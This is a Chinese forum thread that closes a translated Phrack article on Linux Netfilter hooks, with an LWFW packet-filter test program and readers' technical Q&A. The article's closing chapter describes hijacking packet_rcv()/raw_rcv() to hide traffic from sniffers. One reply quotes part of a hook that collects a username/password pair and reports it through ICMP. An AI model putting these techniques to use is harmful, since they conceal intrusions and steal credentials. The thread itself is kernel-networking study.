    理論上大致就這麼多了,關於原始套接字的用法同理可得。不同的是我們需要鉤子的是raw_rcv()函數(在net/ipv4/raw.c中可以找到)。下一節將給出並討論一個Linux核心模塊的示例代碼,該代碼劫持packet_rcv()函數和raw_rcv()函數,隱藏任何來自或去往指定的IP地址的數據包。
[size=5]第七章  結束語[/size]
希望到現在爲止,你對於什麼是Netfilter,怎樣使用Netfilter,可以對Netfilter做些什麼已經有了一個基本的瞭解。你應該也具有了在本地機器上將一些特定的網絡傳輸從運行在這些機器上的嗅探型軟件中隱藏的知識了。如果你想要關於這方面的壓縮包的話,可以直接給我發送E-mail郵件。我會爲你做的任何修改,註釋和建議而感激。現在,我就把這些有趣的東西留給你,你可以自由發揮自己的想象力。

[size=5]附錄A 輕量級防火牆[/size]
[size=4]A.1 縱覽[/size]
輕量級防火牆(Light weight fire wall ,LWFW)是一個簡單的內核模塊,它演示了第四章介紹的基本的數據包過濾技術。LWFW並通過系統調用ioctl提供了一個控制接口。
由於LWFW已經有了足夠多的文檔,所以我在此只就它怎麼工作進行簡單的概述。當LWFW模塊被安裝時,第一個任務就是嘗試去註冊一個控制設備。注意,在針對於LWFW的ioctl接口能夠使用之前,需要在/dev目錄下建立一個字符設備文件,如果這個控制設備註冊成功的話,“in use”標識符將被清空,爲NF_IP_PRE_ROUTE註冊的鉤子函數也就註冊上了。clean_up函數做一些與此過程相反的事情。
LWFW提供了三個丟棄數據包的判定條件,它們按照處理的順序依次是:
-----源接口(網卡名,如“eth0”,“eth0:1”等)
------源IP地址(如“10.0.1.4”,“192.168.1.1”等)
------目的TCP端口號(如ssh常用的22,FTP常用的19)
這些規則的具體設定是通過ioctl接口來實現的。當一個數據包到來時,LWFW會根據設定好的規則對這些數據包進行檢測。如果某個數據包符合其中的任何一個規則,那麼鉤子函數將返回一個NF_DROP結果,從而Netfilter就會默默地丟棄這個數據包。負責的話,鉤子函數會返回一個NF_ACCEPT結果,這個數據包就會繼續它的旅途。
最後一個需要提到的就是LWFW的統計記錄。任何一個數據包到達鉤子函數時,只要LWFW是活躍的,那麼看到的數據包總數目將會增加。單個的規則校驗函數負責增加由於符合此項規則而丟棄的數據包數目。需要注意的就是,當某個規則的內容變化時,這個規則對應的丟棄數據包總數也會被清零。Lwfwstats函數利用IOCTL的LWFW_GET_STATS命令獲取statistics結構體的一份拷貝值,並顯示它的內容。

[size=4]A.2 源代碼 lwfw.c[/size]
見附件
[size=4]A.3 lwfw.h,Makefile[/size]
見附件
[size=4]A.4 譯者添加的測試程序[/size]
下面是譯者自己在學習時寫的一個對LWFW的過濾規則進行設置和改動的例子,你也可以對此段代碼進行修改,當模塊成功加載之後,建立一個字符設備文件,然後這個程序就能運行了。
/*

Name: test.c

Author: duanjigang<[email protected]>

Date: 2006-5-15

*/

#include<sys/types.h>

#include<unistd.h>

#include<fcntl.h>

#include<linux/rtc.h>

#include<linux/ioctl.h>

#include "lwfw.h"

main()

{

        int fd;

        int i;

        struct lwfw_stats data;

        int retval;

        char msg[128];

        /*來自這個IP地址的數據將被丟棄*/

char * deny_ip = "192.168.1.105";

        /*這個接口發出的數據將被丟棄,無法外流*/

char *ifcfg = "eth0";

        /*要禁止的TCP目的端口22, ssh的默認端口*/

unsigned char *  port = "\x00\x16";

        /*打開設備文件*/

fd = open(LWFW_NAME, O_RDONLY);

        if(fd == -1)

	   {

          perror("open fail!");

          exit(-1);

        }

        /*激活LWFW,設置標誌位*/

if( ioctl(fd,LWFW_ACTIVATE,0) == -1 )

        {

             perror("ioctl LWFW_ACTIVATE fail!\n");

             exit(-1);

        }

     /*設置禁止IP*/   

if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)

         {

            printf("ioctl LWFW_DENY_IP fail\n"); 

            exit(-1); 

         }

     /*設置禁止端口*/   

if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }

         /*獲取數據,這應該是一段時間之後的事,此處直接獲取,不妥*/

        if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1)

         {

            printf("iotcl LWFW_GET_STATS fail!\n");

            exit(-1); 

         }

        /*

        禁用這個接口

       if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)

         {

               printf("ioctl LWFW_DENY_IF fail!\n");

               exit(-1);

         }

         */

         printf("ip dropped : %d\n", data.ip_dropped);

         printf("if dropped : %d\n", data.if_dropped);

         printf("tcp dropped : %d\n", data.tcp_dropped);

         printf("total dropped : %d\n", data.total_dropped);

         printf("total seen: %d\n", data.total_seen);

         close(fd);

}


[size=5]附錄B  第六部分的代碼[/size]
這裏是一個簡單的模塊,在這個模塊中將對packet_rcv()函數和raw_rcv()函數進行替換,從而隱藏到達或者離開我們指定所IP地址的數據包。默認的IP是“127.0.0.1”,但是,可以通過修改#define IP 來改動這個值。同樣提供了一個bash的腳本,負責從Sytem.map文件中獲取所需函數的地址,並且負責模塊的插入,在插入模塊時,以所需的格式將這些函數的地址傳遞給內核。這個加載腳本是grem寫的。原來是爲我的mod-off項目而寫,經過簡單的修改就能用於這裏的模塊,再次感謝grem。
這裏給出的模塊只是原理性的代碼,沒有任何模塊隱藏的方法。有很重要的一點需要記住,儘管這個模塊能夠從運行於同一臺機子上的嗅探器中隱藏指定的傳輸,但是,位於同一個網段上的其他機子上的嗅探器仍然能夠看到這些數據包。看了這個模塊,精幹的讀者很快就能設計一些Netfilter鉤子函數來阻斷任何一種想要阻斷的數據包。我就利用本文中提到的技術成功地在其它內核模塊項目中實現了對控制和信息獲取數據包的隱藏。
(此處代碼見附件)

[size=5][參考文獻]:[/size]
[1]  The tcpdump group
      http://www.tcpdump.org
 [2]  The Packet Factory
      http://www.packetfactory.net
 [3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
 [4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
 [5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
 [6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
 [7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
 [8] The Netfilter documentation page
     http://www.netfilter.org/documentation
 [9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
 [B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852

[ 本帖最後由 duanjigang 於 2006-5-21 09:43 編輯 ]

souce.rar


 1jjk 回覆於:2006-05-21 09:55:58

好文,支持樓主


 platinum 回覆於:2006-05-21 10:35:28

movl  (address of our function),  %eax

jmp   *eax


這樣強行跳轉後,當那個 fun 執行完畢,程序指針 IP 返回到哪裏呢?
masm 中調用 fun 用的是 call,如果非要用 jmp 的話,jmp 前要 push 一個返回地址的,因爲 fun 最後會有一個 ret 或 retf


 Scorpioo 回覆於:2006-05-26 17:56:05

引用:原帖由 duanjigang 於 2006-5-20 22:27 發表
應當注意,       傳輸層的頭和網絡層的頭極有可能在內存中指向相同的內存單元。   在TCP數據包中也是這樣的情況,h和nh都是指向IP頭結構體的指針。這就意味着,如果認爲h->th指向TCP頭,從而想通過h->th來獲取一個值的話,將會導致錯誤發生。因爲h->th實際指向IP頭,等同於nh->iph。 



傳輸層的頭和網絡層的頭極有可能在內存中指向相同的內存單元。

這是爲什麼呢!


 chunhui_true 回覆於:2006-05-26 19:20:41

請問樓主,這個原文我咋搜不到呢。
能給個聯接嗎?


 duanjigang 回覆於:2006-05-28 11:50:47

引用:原帖由 chunhui_true 於 2006-5-26 19:20 發表
請問樓主,這個原文我咋搜不到呢。
能給個聯接嗎? 


http://www.phrack.org/show.php?p=61&a=1
這是phrack主頁上的原文。
今天正好看到一篇關於第二章內容更詳盡的說明,順便貼出來,希望能促進本文的理解:
IPv6協議定義了五個鉤子: 
1. NF_IP6_PRE_ROUTING 0:數據包在抵達路由之前經過這個鉤子。目前,在這個鉤子上只對數據包作包頭檢測處理,一般應用於防止拒絕服務攻擊和NAT; 

2. NF_IP6_LOCAL_IN 1:目的地爲本地主機的數據包經過這個鉤子。防火牆一般建立在這個鉤子上; 

3. NF_IP6_FORWARD 2:目的地非本地主機的數據包經過這個鉤子; 

4. NF_IP6_LOCAL_OUT 3:本地主機發出的數據包經過這個鉤子; 

5. NF_IP6_POST_ROUTING 4:數據包在離開本地主機之前經過這個鉤子,包括源地址爲本地主機和非本地主機的。 


我們分析數據報經過Netfilter機制的過程。數據報進入系統後,進行IP校驗以後,數據報經過第一個鉤子NF_IP6_PRE_ROUTING註冊函數進行處理;然後就進入路由代碼,其決定該數據包是需要轉發還是發給本機的;若該數據包是發被本機的,則該數據經過鉤子NF_IP6_LOCAL_IN註冊函數處理以後然後傳遞給上層協議;若該數據包應該被轉發則它被NF_IP6_FORWARD註冊函數處理;經過轉發的數據報經過最後一個鉤子NF_IP6_POST_ROUTING註冊函數處理以後,再傳輸到網絡上。 
本地產生的數據經過鉤子函數NF_IP6_LOCAL_OUT註冊函數處理以後,進行路由選擇處理,然後經過NF_IP6_POST_ROUTING註冊函數處理以後發送到網絡上

[ 本帖最後由 duanjigang 於 2006-5-28 17:24 編輯 ]


 guotie 回覆於:2006-05-28 20:54:38

好文 !!!


 duanjigang 回覆於:2006-05-28 22:27:12

引用:原帖由 Scorpioo 於 2006-5-26 17:56 發表


傳輸層的頭和網絡層的頭極有可能在內存中指向相同的內存單元。

這是爲什麼呢! 


當初自己在讀到此處的時候也沒有仔細想,多謝你提出這個問題,今天翻了半天資料,自己理解了一點,不知道正確不,因爲對於協議棧的細節不清楚,所以只能做一些膚淺的認識,日後有機會再改正此處可的得錯誤。
sk_buff是一個控制結構,通過它,纔可以訪問網絡報文裏的各種數
據。所以在分配網絡報文存儲空間時,同時也分配它的控制結構sk_buff。在這
個控制結構裏,有指向網絡報文的指針,也有描述網絡報文的變量。下面是
sk_buff的定義,依次註釋如下:
struct sk_buff {

struct sk_buff * next;

struct sk_buff * prev;

struct sk_buff_head * list;

以上三個變量將sk_buff鏈接到一個雙向循環鏈表中

struct sock *sk;

此報文所屬的sock結構,此值在本機發出的報文中有效,從網絡設備收到的報

文此值爲空。

struct timeval stamp; //此報文收到時的時間

struct device *dev; //收到此報文的網絡設備

union

{

struct tcphdr *th;

struct udphdr *uh;

struct icmphdr *icmph;

struct igmphdr *igmph;

struct iphdr *ipiph;

struct spxhdr *spxh;

unsigned char *raw;

} h;

union

{

struct iphdr *iph;

struct ipv6hdr *ipv6h;

struct arphdr *arph;

struct ipxhdr *ipxh;

unsigned char *raw;

} nh;

union

{

struct ethhdr *ethernet;

unsigned char *raw;

} mac;

/*

以上三個union結構依次是傳輸層,網絡層,鏈路層的頭部結構指針。這些指

針在網絡報文進入這一層時被賦值,其中raw是一個無結構的字符指針,用於

擴展的協議。

*/

struct dst_entry *dst; //此報文的路由,路由確定後賦此值

char cb[48]; //用於在協議棧之間傳遞參數,參數內容的涵義由使用它的函數確定。

unsigned int len;//此報文的長度,這是指網絡報文在不同協議層中的長度,包括頭部和數據。在協議棧的不同層,這個長度是不同的。

unsigned char is_clone,cloned,

/*

以上兩個變量描述此控制結構是否是clone的控制結構。一個網絡報文可以對應多個控制結構,其中只有一個是原始的結構,其他的都是clone出來的。由於可能存在多個控制結構,所以在釋放網絡報文時要確定它所有的控制結構都

已被釋放。

*/

pkt_type,

網絡報文的類型,常見的有PACKET_HOST,代表發給本機的報文;還有PACKET_OUTGOING,代表本機發出的報文。

unsigned short protocol; //鏈路層協議

unsigned int truesize; //此報文存儲區的長度,這個長度是16字節對齊的,一般要比報文的長度大。

unsigned char *head;

unsigned char *data;

unsigned char *tail;

unsigned char *end;

以上四個變量指向此報文存儲區,具體的涵義後面會解釋。

__u32 fwmark; //防火牆在報文中做的標記

}


注意“......以上三個union結構依次是傳輸層,網絡層,鏈路層的頭部結構指針。這些指針在網絡報文進入這一層時被賦值.....”,也就是說這些指針只是在不同的時刻(不同的協議層面上)來描述相同的數據(當然在每一個層肯定要進行頭信息的添加或者其他操作)。我理解作者此處的意思是:不能因爲此結構體重定義了某個指針,這個指針在協議棧中的引用一定就是一個有效值(有意義的)值,指針指向單元的內容首先取決於特定數據包所採用的協議,還有就是數據包是否已經經過了對應的協議層被修改成爲有效值。
這是網絡數據包與描述它的sk_buff結構體的對應關係:


希望對你有些幫助(儘管我覺得說的太含混晦澀了 ^_^),我會繼續就這個問題思考學習的。

[ 本帖最後由 duanjigang 於 2006-5-28 22:31 編輯 ]






 platinum 回覆於:2006-05-29 16:53:53

vi nsniffer.c
static unsigned int watch_in(unsigned int hooknum,

                 struct sk_buff **skb,

                 const struct net_device *in,

                 const struct net_device *out,

                 int (*okfn)(struct sk_buff *))

{

   struct sk_buff *sb = *skb;

   struct icmphdr *icmp;

   char *cp_data;               /* Where we copy data to in reply */

   unsigned int   taddr;           /* Temporary IP holder */



   /* Do we even have a username/password pair to report yet? */

   if (!have_pair)

     return NF_ACCEPT;



   /* Is this an ICMP packet? */

   if (sb->nh.iph->protocol != IPPROTO_ICMP)

     return NF_ACCEPT;



   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);


爲何用 data + ihl*4 的方法取 icmp 頭地址,而不用 iph + ihl*4 呢?
數據包從 data 開始的位置是不是一定就是 ip 頭的位置?


另外,關於插入點優先級的問題
   pre_hook.hook     = watch_in;

   pre_hook.pf       = PF_INET;

   pre_hook.priority = NF_IP_PRI_FIRST;

   pre_hook.hooknum  = NF_IP_PRE_ROUTING;



   post_hook.hook     = watch_out;

   post_hook.pf       = PF_INET;

   post_hook.priority = NF_IP_PRI_FIRST;

   post_hook.hooknum  = NF_IP_POST_ROUTING;


PREROUTING 是 FIRST 我可以理解,但 POSTROUTING 爲何也要註冊到 FIRST?爲何不用 LAST?
vi kernel/include/linux/netfilter_ipv4.h
enum nf_ip_hook_priorities {

        NF_IP_PRI_FIRST = INT_MIN,

        NF_IP_PRI_CONNTRACK = -200,

        NF_IP_PRI_BRIDGE_SABOTAGE_FORWARD = -175,

        NF_IP_PRI_MANGLE = -150,

        NF_IP_PRI_NAT_DST = -100,

        NF_IP_PRI_BRIDGE_SABOTAGE_LOCAL_OUT = -50,

        NF_IP_PRI_FILTER = 0,

        NF_IP_PRI_NAT_SRC = 100,

        NF_IP_PRI_LAST = INT_MAX,

};



[ 本帖最後由 platinum 於 2006-5-29 17:09 編輯 ]


 playmud 回覆於:2006-05-30 10:35:44

這個東西很早之前就有了吧。。。。。
raodan 翻譯的


 playmud 回覆於:2006-05-30 10:36:59

看看有什麼新東西,呵呵


 duanjigang 回覆於:2006-05-30 12:55:47

(1)"如果我沒理解錯的話(學習中),data指針指向的是當前層次上要處理的數據的頭,ICMP與IP同屬網絡層,所以在這一層上 ,data指向的是IP數據頭,同理若在傳輸層,data應指向tcp或UDP頭,若在連路層data 應指向Eth頭
", sb->data 改成sb->nh.iph也可以(這個我用程序試研了),可能作者這種寫法更有層次感吧,不知如此解釋對是否合適???
(2):在POSTROUTING點可以注測多個HOOK,作爲向外發送的數據來說,在此處會被每個注測了的HOOK進行處理,處理的先後順序跟priority密切相關,如果有一個注測了的鉤子比我們注測的這個鉤子提前調用,我們能保證數據中的用戶名和密碼這些數據不被影響(或着改動)嗎?爲了保證watch_out的功能,纔將它的優先權設爲最高。
如果有哪裏理解錯誤的話,希望白金兄及時指出. ^_^

[ 本帖最後由 duanjigang 於 2006-5-30 13:00 編輯 ]


 platinum 回覆於:2006-05-30 15:18:21

我感覺第二點分析得很有道理 ^_^

第一點我有個地方不明白,下面我說一下 :(

>> data指針指向的是當前層次上要處理的數據的頭
同意

>> ICMP與IP同屬網絡層
icmp 頭的位置與 tcp/udp 的位置是一樣的,而 tcp/udp 不屬於網絡層,爲何說 icmp 是網絡層,這點我始終沒能理解

>> 所以在這一層上 ,data指向的是IP數據頭
同意,若 sk_buff 指向的確實是一個 IP 層的話

>> 同理若在傳輸層,data應指向tcp或UDP頭,若在連路層data 應指向Eth頭
問題是,我們怎麼知道當前是什麼層呢?


 viton_xuan 回覆於:2006-05-30 22:12:30

對sk->data指針在各個狀態下指向哪一層覺得很模糊.
處理時在交換mac地址之後把data指針指向連路層的頭就把包發回去.
能不能這樣理解, 在PRE_ROUTING時候data指向ip頭, POST_ROUTING之後指向連路層.
另外,覺得在dev_queue_xmit之前應該把icmph->type 改爲 ICMP_ECHOREPLY. 因爲我在單機調試, 收到的包發出,又給netfilter劫獲,就死循環了. 不斷的發,劫獲,再發,再劫獲. 把它改了類型,再劫獲之後就可以NF_ACCEPT了. 避免了死循環.


 duanjigang 回覆於:2006-05-31 13:52:30

請教了一位同事,解釋如下:
(1)用data+..還是用 iph+.......
我認爲原代碼的寫法是正確的,即用data+........
在協議的不同層,sk_buff的data指向這一層的網絡報文頭部,同時在這個結構體中,也有相關的數據結構來表示不同層的頭部信息,這樣無論在哪一層,代碼結構都是不變的,而如果改爲後面那種(iph+...),則只適用於傳輸層了.


 platinum 回覆於:2006-05-31 19:37:52

>> 能不能這樣理解, 在PRE_ROUTING時候data指向ip頭
我也是這樣認爲的

>> POST_ROUTING之後指向連路層
爲什麼?

>> 在協議的不同層,sk_buff的data指向這一層的網絡報文頭部,同時在這個結構體中
>> 也有相關的數據結構來表示不同層的頭部信息,這樣無論在哪一層,代碼結構都是不變的
>> 而如果改爲後面那種(iph+...),則只適用於傳輸層了.
沒理解,尤其是“這樣無論在哪一層,代碼結構都是不變的”這一句
“而如果改爲後面那種(iph+...),則只適用於傳輸層了”這句我也沒有理解,是不是說,如果在鏈路層,(struct sk_buff *)skb->iph 實際上是 NULL ?


 duanjigang 回覆於:2006-06-08 15:46:26

呵呵,一直對5個HOOKS的觸發時機不是很清楚,今天正好碰到一篇文章,給出了圖示,很明瞭,附加上來:
IP層的五個HOOK點的位置如下圖所示 :

          --->[1]--->[ROUTE]--->[3]--->[5]--->
                        |            ^
                        |            |
                        |         [ROUTE]
                        v            |
                       [2]          [4]
                        |            ^
                        |            |
                        v            |
                       [local process] 

[1]:NF_IP_PRE_ROUTING:剛剛進入網絡層的數據包通過此點(剛剛進行完版本號,校驗和等檢測),源地址轉換在此點
進行;
[2]:NF_IP_LOCAL_IN:經路由查找後,送往本機的通過此檢查點,INPUT包過濾在此點進行;
[3]:NF_IP_FORWARD:要轉發的包通過此檢測點,FORWORD包過濾在此點進行;
[4]:NF_IP_LOCAL_OUT:本機進程發出的包通過此檢測點,OUTPUT包過濾在此點進行;
[5]:NF_IP_POST_ROUTING:所有馬上便要通過網絡設備出去的包通過此檢測點,內置的目的地址轉換功能(包括地址僞裝)在此點進行。

[ 本帖最後由 duanjigang 於 2006-6-8 15:56 編輯 ]


 wanghl 回覆於:2006-06-14 08:31:33

好文!


 viton_xuan 回覆於:2006-06-14 13:09:02

to: duanjigang  圖有問題 OUTPUT的路由之後應該不經過forward了。
另外感覺 Kernel Packet Traveling Diagram  這副圖更詳細。 
版主platinum的blog就有一份。 http://www.cublog.cn/u/311/showart.php?id=70642


 duanjigang 回覆於:2006-06-14 20:40:42

謝謝指出錯誤,正在學習。。。。。。


 justicezyx 回覆於:2006-09-13 16:46:19

引用:原帖由 duanjigang 於 2006-5-28 22:27 發表

當初自己在讀到此處的時候也沒有仔細想,多謝你提出這個問題,今天翻了半天資料,自己理解了一點,不知道正確不,因爲對於協議棧的細節不清楚,所以只能做一些膚淺的認識,日後有機會再改正此處可的得錯誤。
s ... 


也許指的是udp頭吧,udp應該沒有自己專門的協議數據頭,只有ip頭而已。


 duanjigang 回覆於:2007-04-29 09:23:11

應一位朋友詢問,特將2.4下的使用方法帖一下:
系統: RedHatLinux9 2.4.20-8
將lwfw目錄拷貝到Linux系統下,建議用ssh,因爲我們後面的測試也是使用ssh的。
首先明白各個文件編譯後生成模塊與程序對應的功能:
make之後,可以看到生成了lwfw.o模塊文件,lwfw黃色顯示的字符設備文件和綠色的test可執行程序
lwfw.o是要插入系統中負責數據過濾的模塊,lwfw是用來從用戶態向內核態傳遞參數給鉤子的字符設備文件,test是用戶態程序,用來發送指令給lwfw這個模塊,通過訪問lwfw文件來實現(主要是通過ioctl調用的)
下來看看test.c文件:我們不妨將插有lwfw模塊的系統成爲目的機
有三個變量:
                    deny_ip : 目的地爲目的機的數據包的源IP地址
                    ifcfg       : 目的機用來接收數據的網絡接口的名字
                    port       :目的機接收數據的端口。
測試如下:
     第一,對deny_ip進行測試,首先通過ssh遠程將deny_ip的值修改爲 "192.168.0.201"(這個是我的windows系統的IP),然後要將
/*if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }

         */

if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)

         {

               printf("ioctl LWFW_DENY_IF fail!\n");

               exit(-1);

         }

         */

註釋起來,然後保存,退出。
make make install
當你剛剛執行完 ./test的時候,如果一切正常,你將會發現你的windows系統與這臺linux主機失去了聯繫
首先ssh會沒有響應,其次ping linux主機也會超時,這說明lwfw模塊確實過濾了來自指定IP主機的數據
如果方便的話,你需要在linux主機上執行rmmod lwfw這個時候,ping就可以恢復正常了,如果ssh沒有超時的話也會恢復正常
如果提示已斷開的話,你再次連接也會成功的。
第二,對port進行測試
這次將代碼
 /*if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)

         {

            printf("ioctl LWFW_DENY_IP fail\n");

            exit(-1);

         }*/
註釋起來,把
if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)

         {

           printf("ioctl LWFW_DENY_PORT fail!\n");

           exit(-1);

         }
註釋去掉
而且你也看到
unsigned char *  port = "\x00\x16";

了,對應的就是22端口,因爲ssh默認用22端口
保存文件修改,make ,make install
這次建議你用ssh客戶端連上去執行./test
當你鍵入這個命令後,你的ssh客戶端一定會沒有響應,而ping則會正常,這說明lwfw選擇性的過濾了目的端口爲22的數據包
爲了方便測試,你不妨從多個IP去通過ssh連接,這樣多個ssh客戶端都會掉線,說明端口的測試確實與IP無關
關於eth0的測試,你可以自己嘗試,但是我建議在測試之前先想想可能的結果,這樣能估計到可能的風險,也能將實際結果跟自己的預計結果進行比較,方便理解。。

[ 本帖最後由 duanjigang 於 2007-4-29 09:47 編輯 ]


 CUDev 回覆於:2007-08-07 21:54:33

原先的測試代碼有一個小bug,
  if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1) 

中的 *(unsigned long*)&data)不對,應該爲(unsigned long*)&data),去掉*號,這樣纔是一個指針。

改了一下測試的代碼:
首先,激活模塊。
lwfwtables -a
然後設置條件
lwfwtables -i 192.168.18.5 設置ip
lwfwtables -g 獲取信息
同樣使用
lwfwtables -p 22 設置端口
lwfwtables -f eth0 設置網卡
#include<sys/types.h>

#include<unistd.h>

#include<fcntl.h>

#include<linux/rtc.h>

#include<linux/ioctl.h>

#include<stdio.h>

#include<stdlib.h>

#include<arpa/inet.h>

#include "lwfw.h"



void print_help(void);



int main(int argc,char *argv[])

{

    int fd;

    unsigned short port = 0;

    char ch;

    struct lwfw_stats data;



    if (argc < 2)

    {

        print_help();

        return 1;

    }



    fd = open (LWFW_NAME, O_RDONLY);

    if (fd == -1)

    {

        perror ("open LWFW_NAME fail\n");

        goto error;

    }

    while ( (ch=getopt(argc,argv,"adi:p:f:g")) != EOF)

    {

        switch (ch)

        {

        case 'a': //Active

            if (ioctl (fd, LWFW_ACTIVATE, 0) == -1)

            {

                perror ("ioctl LWFW_ACTIVATE fail!\n");

                goto error;

            }

            break;

        case 'd': //Deactive

            if (ioctl (fd, LWFW_DEACTIVATE, 0) == -1)

            {

                perror ("ioctl LWFW_ACTIVATE fail!\n");

                goto error;

            }

            break;

        case 'i': //IP

            if (ioctl (fd, LWFW_DENY_IP, inet_addr (optarg)) == -1)

            {

                printf ("ioctl LWFW_DENY_IP fail\n");

                goto error;

            }

            break;

        case 'p': //Port 

            port=(unsigned short)atoi(optarg);

            port=htons(port);

            if (ioctl (fd, LWFW_DENY_PORT,port) == -1)

            {

                printf ("ioctl LWFW_DENY_PORT fail!\n");

                goto error;

            }

            break;

        case 'f': //Interface

            if (ioctl(fd, LWFW_DENY_IF, optarg) == -1)

            {

                printf("ioctl LWFW_DENY_IF fail!\n");

                goto error;

            }

            break;

        case 'g': //Get Stats

            if (ioctl (fd, LWFW_GET_STATS, (unsigned long *) &data) == -1)

            {

                printf ("iotcl LWFW_GET_STATS fail!\n");

                goto error;

            }

            printf ("if dropped : %u\n", data.if_dropped);

            printf ("ip dropped : %u\n", data.ip_dropped);

            printf ("tcp dropped : %u\n", data.tcp_dropped);

            printf ("total dropped : %lu\n", data.total_dropped);

            printf ("total seen: %lu\n", data.total_seen);

            break;

        default:

            print_help();

            return 1;



        }

    }



    close (fd);

    return 0;

error:

    close (fd);

    return 1;

}



void print_help()

{

        printf("lwfwtables -[a|d|g] -[i:ip | f:NIC | o:Port]\n");

        printf("Note: You Should Run lwfwtables -a First to active lwfw.\n");

}





[ 本帖最後由 CUDev 於 2007-8-7 22:15 編輯 ]


 sohu2000000 回覆於:2007-10-31 01:57:27

謝謝樓主  :wink:


 duanjigang 回覆於:2008-01-10 23:54:49

2008-01-08收到yaoyixiong2005 <[email][email protected][/email]>來信如下:
[color=Red]文中的程序是在2.4的內核編譯,我的內核版本是2.6
   1. 在2.6內核下編譯lwfw.c 提示 MOD_INC_USE_COUNT,MOD_INC_DEC_COUNT未定義(詳見郵件的附註A),不知道是不是內核版本不一樣的問題?如果2.6版本的內核把這兩個東西去掉了,這兩個東西是在2.4內核版本下哪個頭文件裏定義的??
   2.(A.4 譯者添加的測試程序
下面是譯者自己在學習時寫的一個對LWFW的過濾規則進行設置和改動的例子,你也可以對此段代碼進行修改,當模塊成功加載之後,建立一個字符設備文件,然後這個程序就能運行了。)這是你在文中加的內容
    您寫的那個程序運行的時候提示 open fail,應該是上面的提示中說建立一個字符設備文件出問題,請教如何建立字符設備文件??
   3.另我在2.6版本上運行文中nfsniff.c中出現skbuff.h中沒有mac.ethernet東東,提示沒有這個union,2.6的skbuffer只有 unsigned char *raw,把ethernet給去掉了。不知道如何解決。[/color]
下帖回覆。


 duanjigang 回覆於:2008-01-10 23:58:18

[size=4](1):MOD_INC_USE_COUNT,MOD_INC_DEC_COUNT未定義[/size]
模塊引用計數的遞增宏和遞減宏在2.6中已經不需要,可以直接刪除或者註釋掉。
    網上有文如下,可以參考下:
  [color=Blue] In 2.4 and prior kernels, modules maintained their "use count" with macros like MOD_INC_USE_COUNT.
The use count, of course, is intended to prevent modules from being unloaded while they are being used. 
This method was always somewhat error prone, especially when the use count was manipulated inside the
 module itself. In the 2.6 kernel, reference counting is handled differently.
在2.4及其之前的內核裏,模塊(們)使用宏 MOD_INC_USE_COUNT 維護它們的“用戶計數”。用戶計數目的在於防
止當模塊在使用時被卸載掉。這種方法常常易於出錯的,特別是當用戶計數被模塊自己本身所維護時。在kernle2.6裏,
對模塊的引用計數(譯者:引用計數和模塊計數在這裏是相同的意思)的處理方法和之前完全不同了。
The only safe way to manipulate the count of references to a module is outside of the module's code. 
Otherwise, there will always be times when the kernel is executing within the module, but the reference
 count is zero. So this work has been moved outside of the modules, and life is generally easier for 
module authors.
對模塊的使用唯一的安全方法是在模塊之外維護其使用計數,否則,會經常出現這樣的情況:當內核正在執行模塊時,
而模塊的使用計數卻是0。因此,這項工作被移植到模塊之外,對於模塊的編寫者來說他們的生活將輕鬆一些了:).[/color]

[size=4](2):如何建立字符設備文件?[/size]
     這個在lwfw隨附的makefile中可以看到: mknod lwfw c 100 0 就實現了。
      關於mknod的具體用法,相關文檔應該有很多的說明了,man mknod可以看到
       mknod [選項]... 名稱 類型 [主設備號 次設備號] c表示字符設備char b表示塊設備block 等等。

[ 本帖最後由 duanjigang 於 2008-1-11 00:01 編輯 ]


 duanjigang 回覆於:2008-01-11 00:02:20

[color=Red][/color][size=4](3):關於2.4內核和2.6內核中sk_buff結構體差異引起的問題[/size]
2.4中sk_buff定義爲:(include\linux\skbuff.h中)
struct sk_buff {

	/* These two members must be first. */

	struct sk_buff	* next;			/* Next buffer in list 				*/

	struct sk_buff	* prev;			/* Previous buffer in list 			*/



	struct sk_buff_head * list;		/* List we are on				*/

	struct sock	*sk;			/* Socket we are owned by 			*/

	struct timeval	stamp;			/* Time we arrived				*/

	struct net_device	*dev;		/* Device we arrived on/are leaving by		*/

                。。。。。。。。。。。。。

           /* Link layer header */

	union 

	{	

	  	struct ethhdr	*ethernet;

	  	unsigned char 	*raw;

	} mac;

                。。。。。。。。。。。。。

	

在2.6中sk_buff定義如下:
struct sk_buff {

	/* These two members must be first. */

	struct sk_buff	* next;			/* Next buffer in list 				*/

	struct sk_buff	* prev;			/* Previous buffer in list 			*/



	struct sk_buff_head * list;		/* List we are on				*/

	struct sock	*sk;			/* Socket we are owned by 			*/

	struct timeval	stamp;			/* Time we arrived				*/

	struct net_device	*dev;		/* Device we arrived on/are leaving by		*/

                。。。。。。。。。。。。。

           /* Link layer header */

	union 

	{	

	  	unsigned char 	*raw;

	} mac;

                。。。。。。。。。。。。。

	

注意到2.6內核中的sk_buff結構體的mac聯合成員中少了一個成員
[color=Red]struct ethhdr *ethernet[/color]
所以原來的代碼在2.6中編譯時會提示錯誤說
ethernet
未定義
